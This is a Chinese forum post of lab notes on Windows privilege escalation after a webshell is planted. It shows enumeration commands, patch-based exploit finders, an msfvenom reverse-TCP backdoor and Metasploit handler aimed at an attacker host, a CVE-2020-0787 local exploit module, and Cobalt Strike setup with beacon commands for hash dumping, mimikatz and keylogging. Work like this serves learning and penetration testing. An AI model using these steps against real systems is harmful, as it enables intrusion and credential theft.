web 权限提升总结

中间件语言类

  1. 权限划分

    1. linux
      1. 管理员 UID 为 0:系统的管理员用户。
      2. 系统用户 UID 为 1~999:默认服务程序会有独立的系统用户负责运行。
      3. 普通用户 UID 从 1000 开始:是由管理员创建的用于日常工作的用户。
    2. windows
      1. 系统管理员组:system
      2. 用户管理员组:administrator
      3. 普通用户:user
      4. 游客:guest
  2. 不同语言木马写入的区别

    1. jsp id=uid=0(root)
    2. php id=uid=1001(www) 自己安装的
    3. php id=uid=1001(www) php whoami=xiaodi-pc\xiaodi phpstudy
    4. asp whoami=nt authority\network service
    5. aspx whoami=nt authority \network service

WIN 系统权限提升

手工提升权限

  1. 步骤

    1. 首先进行信息收集,收集操作系统版本,漏洞补丁,位数,杀毒软件防护,当前权限等信息

    2. 可以利用 systeminfo 命令获取

    3. 以下是常用的查询命令

      1.  systeminfo 查询系统信息
         hostname 主机名
         net user 查看用户信息
         netstat -ano|find "3389" 查看服务pid号
         wmic os get caption 查看系统名
         wmic qfe get Description,HotFixID,InstalledOn 查看补丁信息
         wmic product get name,version 查看当前安装程序
         wmic service list brief 查询本机服务
         wmic process list brief 查询本机进程
         net share 查看本机共享列表
         netsh firewall show config 查看防火墙配置
        
  2. VulnScan 复现

    1. 工具下载chroblert/WindowsVulnScan (github.com)

    2. 假设我们可以上传一个 php 木马,用哥斯拉进行连接来提权,http://192.168.72.138/cong.php

      1. image
    3. 可以看到我们的用户身份信息为 用户管理员

      1.  C:/inetpub/wwwroot/ >whoami
         iis apppool\defaultapppool
        
    4. 使用工具 psl 文件并将其传入目标服务器中

      1. image
    5. 首先使用 powershell 来解除系统谁执行 psl 文件的限制

      1.  powershell
         Get-ExecutionPolicy -List
         set-executionpolicy remotesigned
         Set-ExecutionPolicy RemoteSigned -Scope CurrentUser或者Set-ExecutionPolicy Unrestricted -Scope CurrentUser
         做完实验就打开脚本限制
         Set-ExecutionPolicy Undefined -Scope CurrentUser
        
      2. 没关系可以根据 json 模版通过 systeminfo 的信息手搓一个 json 格式,不过我这里还是报错

        1. image
    6. 使用 powershell 来执行该 psl 文件让其生成对应的 json 文件,还是报错,算了

      1.  powershell
         .\KBCollect.ps1
        
      2.  {"basicInfo":{"windowsProductName":"Microsoft Windows 10 专业版","windowsVersion":"2009"},"KBList":[
             "KB5037592",
             "KB5011048",
             "KB5015684",
             "KB5039211",
             "KB5014032",
             "KB5032907",
             "KB5037995",
             "KB5034441"
         ]}
        
      3. image
    7. 后面用下本机做实验,发现可以的,那就靶场转移到本机

      1. image
    8. 再用脚本检测这个 json 文件即可 python cve-check.py -C -f KB.json

      1. image
  3. wesng 复现

    1. 工具下载:bitsadmin/wesng: Windows Exploit Suggester - Next Generation (github.com)

    2. 假设我们可以上传一个 php 木马,用哥斯拉进行连接来提权,http://192.168.72.138/cong.php

      1. image
    3. 可以看到我们的用户身份信息为 用户管理员

      1.  C:/inetpub/wwwroot/ >whoami
         iis apppool\defaultapppool
        
    4. 利用 systeminfo​命令获取补丁的相关信息,出现乱码

      1. image
    5. 让其生成 txt 文件,systeminfo > c:\cong.txt

      1. image
      2.  主机名:           08SERVERR2-1
         OS 名称:          Microsoft Windows Server 2008 R2 Standard 
         OS 版本:          6.1.7601 Service Pack 1 Build 7601
         OS 制造商:        Microsoft Corporation
         OS 配置:          独立服务器
         OS 构件类型:      Multiprocessor Free
         注册的所有人:     Windows 用户
         注册的组织:   
         产品 ID:          00477-001-0000421-84563
         初始安装日期:     2021/9/13, 17:19:54
         系统启动时间:     2024/9/5, 23:56:56
         系统制造商:       VMware, Inc.
         系统型号:         VMware Virtual Platform
         系统类型:         x64-based PC
         处理器:           安装了 1 个处理器。
                           [01]: AMD64 Family 25 Model 68 Stepping 1 AuthenticAMD ~3194 Mhz
         BIOS 版本:        Phoenix Technologies LTD 6.00, 2020/11/12
         Windows 目录:     C:\Windows
         系统目录:         C:\Windows\system32
         启动设备:         \Device\HarddiskVolume1
         系统区域设置:     zh-cn;中文(中国)
         输入法区域设置:   zh-cn;中文(中国)
         时区:             (UTC+08:00)北京,重庆,香港特别行政区,乌鲁木齐
         物理内存总量:     8,191 MB
         可用的物理内存:   7,437 MB
         虚拟内存: 最大值: 10,239 MB
         虚拟内存: 可用:   9,456 MB
         虚拟内存: 使用中: 783 MB
         页面文件位置:     C:\pagefile.sys
         域:               WORKGROUP
         登录服务器:       \\08SERVERR2-1
         修补程序:         安装了 2 个修补程序。
                           [01]: KB2999226
                           [02]: KB976902
         网卡:             安装了 1 个 NIC。
                           [01]: Intel(R) PRO/1000 MT Network Connection
                               连接名:      本地连接
                               启用 DHCP:   是
                               DHCP 服务器: 192.168.72.254
                               IP 地址
                                 [01]: 192.168.72.138
                                 [02]: fe80::7089:3820:3557:4d6b
        
    6. 将刚才生成的信息创建一个新文档 cong.txt,再执行命令 python wes.py cong.txt -o cong.csv

      1. image
      2. image
    7. 之后就是找 poc 复现了,可以在一些 poc 网站中寻找,例如 poc in github,

  4. 在线网站找 poc

    1. 自己没找

权限提升相关工具

  1. msf 工具

    1. 复现
      1. 靶场:win2008,已拿下 webshell

      2. 生成反弹后门木马,msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.72.130 LPORT=5577 -f exe -o cong.exe

      3. 监听后门

        1.  msfconsole                                         # 在命令行里面输入命令,进入msf漏洞利用框架;
           use exploit/multi/handler                          # 监听木马反弹过来的shell
           set payload windows/meterpreter/reverse_tcp  	   # 设置payload,不同的木马设置不同的payload,设置payload时,要根据目标系统的系统位数设置相应的payload;
           set lhost 0.0.0.0                          # 我们的kali本机ip
           set lport 5566                                     # 我们的kali本机端口
           exploit                                            # 开始进行监听;
          
      4. 成功连接,获取用户信息,发现是用户管理员

        1. image
        2.  meterpreter > getuid
           Server username: 08SERVERR2-1\Administrator
          
      5. 半自动化相关演示
        1. 首先用 background​命令回到 msf 控制页面

          1.  meterpreter > background
             [*] Backgrounding session 2..
            
        2. 使用模块 use post/windows/gather/enum_patches

        3. 设置会话 set session 2

          1. image
        4. 使用 run​命令运行模块,发现目标已安装的补丁

          1. image
      6. 全自动演示
        1. 首先 webshell

        2. 首先用 background​命令回到 msf 控制页面

        3. 通过 use post/multi/recon/local_exploit_suggester​命令来使用模块

        4. 设置详细详细描述的漏洞利用过程 set showdescription true

        5. 设置会话 set session 1

        6. 运行,发现存在大量漏洞

          1. image
          2. image
        7. 新建一个任务栏,使用以下命令监听 shell

          1.  use exploit/multi/handler
             set payload windows/meterpreter/reverse_tcp
             set lhost 0.0.0.0
             set lport 6666
             exploit
            
        8. 返回控制台,进入刚才扫出的漏洞的名称

          1. use exploit/windows/local/cve_2020_0787_bits_arbitrary_file_move
          2. set lhost 192.168.72.130​(本机 ip)
          3. set lport 6666
          4. set session 1
          5. exploit
        9. 发现提示成功,但是并没有监听到,不懂

          1. image
  2. CS 工具

    1. 下载地址:https://pan.baidu.com/s/14GGndrwx5PqyBpu2EeLj1g?pwd=cong

    2. 工具的基本使用
      1. 靶场:win 2008

      2. 工具准备:一台服务器,一台肉鸡,一台 win 客户端电脑

      3. 将工具下载到服务器和客户端

      4. 服务端给足工具权限 chmod -R 777 CobaltStrike4.8汉化版带插件

      5. 进入服务端目录,运行服务端 ./teamserver 192.168.72.130 congsec

        1. image
      6. 在本机电脑运行 Cobalt_Strike_CN.bat​文件客户端连接服务端

        1. image
      7. 设置监听器

        1. image
      8. 选择刚才的监听器来生成后门木马

        1. image
      9. 运行木马成功监听

        1. image
    3. 插件使用
      1. 首先是选择文件载入插件

        1. image
        2. image
      2. 插件提权
        1. Ladon 插件
          1. image
        2. Taowu 插件
          1. image
        3. 工具自带的提权

          1. image
      3. 常用命令
        1.  browserpivot 注入受害者浏览器进程
           sleep 3 全部命令3秒执行
           bypassuac 绕过UAC
           cancel 取消正在进行的下载
           cd 切换目录
           checkin 强制让被控端回连一次
           clear 清除beacon内部的任务队列
           connect Connect to a Beacon peerover TCP
           covertvpn 部署Covert VPN客户端
           cp 复制文件
           dcsync 从DC中提取密码哈希
           desktop 远程VNC
           dllinject 反射DLL注入进程
           dllload 使用LoadLibrary将DLL加载到进程中
           download 下载文件
           downloads 列出正在进行的文件下载
           drives 列出目标盘符
           elevate 尝试提权
           execute 在目标上执行程序(无输出)
           execute-assembly 在目标上内存中执行本地.NET程序
           exit 退出beacon
           getprivs Enable system privileges oncurrent token
           getsystem 尝试获取SYSTEM权限
           getuid 获取用户ID
           hashdump 转储密码哈希值
           help 帮助
           inject 在特定进程中生成会话
           jobkill 杀死一个后台任务
           jobs 列出后台任务
           kerberos_ccache_use 从ccache文件中导入票据应用于此会话
           kerberos_ticket_purge 清除当前会话的票据
           kerberos_ticket_use 从ticket文件中导入票据应用于此会话
           keylogger 键盘记录
           kill 结束进程
           link Connect to a Beacon peerover a named pipe
           logonpasswords 使用mimikatz转储凭据和哈希值
           ls 列出文件
           make_token 创建令牌以传递凭据
           mimikatz 运行mimikatz
           mkdir 创建一个目录
           mode dns 使用DNS A作为通信通道(仅限DNS beacon)
           mode dns-txt 使用DNS TXT作为通信通道(仅限D beacon)
           mode dns6 使用DNS AAAA作为通信通道(仅限DNS beacon)
           mode http 使用HTTP作为通信通道
           mv 移动文件
           net net命令
           note 备注
           portscan 进行端口扫描
           powerpick 通过Unmanaged PowerShell执行命令
           powershell 通过powershell.exe执行命令
           powershell-import 导入powershell脚本
           ppid Set parent PID forspawned post-ex jobs
           ps 显示进程列表
           psexec Use a service to spawn asession on a host
           psexec_psh Use PowerShell to spawn asession on a host
           psinject 在特定进程中执行PowerShell命令
           pth 使用Mimikatz进行传递哈希
           pwd 当前目录位置
           reg Query the registry
           rev2self 恢复原始令牌
           rm 删除文件或文件夹
           rportfwd 端口转发
           run 在目标上执行程序(返回输出)
           runas 以另一个用户权限执行程序
           runasadmin 在高权限下执行程序
           runu Execute a program underanother PID
           screenshot 屏幕截图
           setenv 设置环境变量
           shell cmd.exe  打开cmd终端
           shell ipconfig 执行ipconfig命令
           shinject 将shellcode注入进程
           shspawn 生成进程并将shellcode注入其中
           sleep 设置睡眠延迟时间
           socks 启动SOCKS4代理
           socks stop 停止SOCKS4
           spawn Spawn a session
           spawnas Spawn a session as anotheruser
           spawnto Set executable tospawn processes into
           spawnu Spawn a session underanother PID
           ssh 使用ssh连接远程主机
           ssh-key 使用密钥连接远程主机
           steal_token 从进程中窃取令牌
           timestomp 将一个文件时间戳应用到另一个文件
           unlink Disconnect from parentBeacon
           upload 上传文件
           wdigest 使用mimikatz转储明文凭据
           winrm 使用WinRM在主机上生成会话
           wmi 使用WMI在主机上生成会话
           argue 进程参数欺骗
          
  • 安全

    安全永远都不是一个小问题。

    200 引用 • 816 回帖 • 1 关注
1 操作
CongSec 在 2024-09-09 13:34:54 更新了该帖

相关帖子

欢迎来到这里!

我们正在构建一个小众社区,大家在这里相互信任,以平等 • 自由 • 奔放的价值观进行分享交流。最终,希望大家能够找到与自己志同道合的伙伴,共同成长。

注册 关于
请输入回帖内容 ...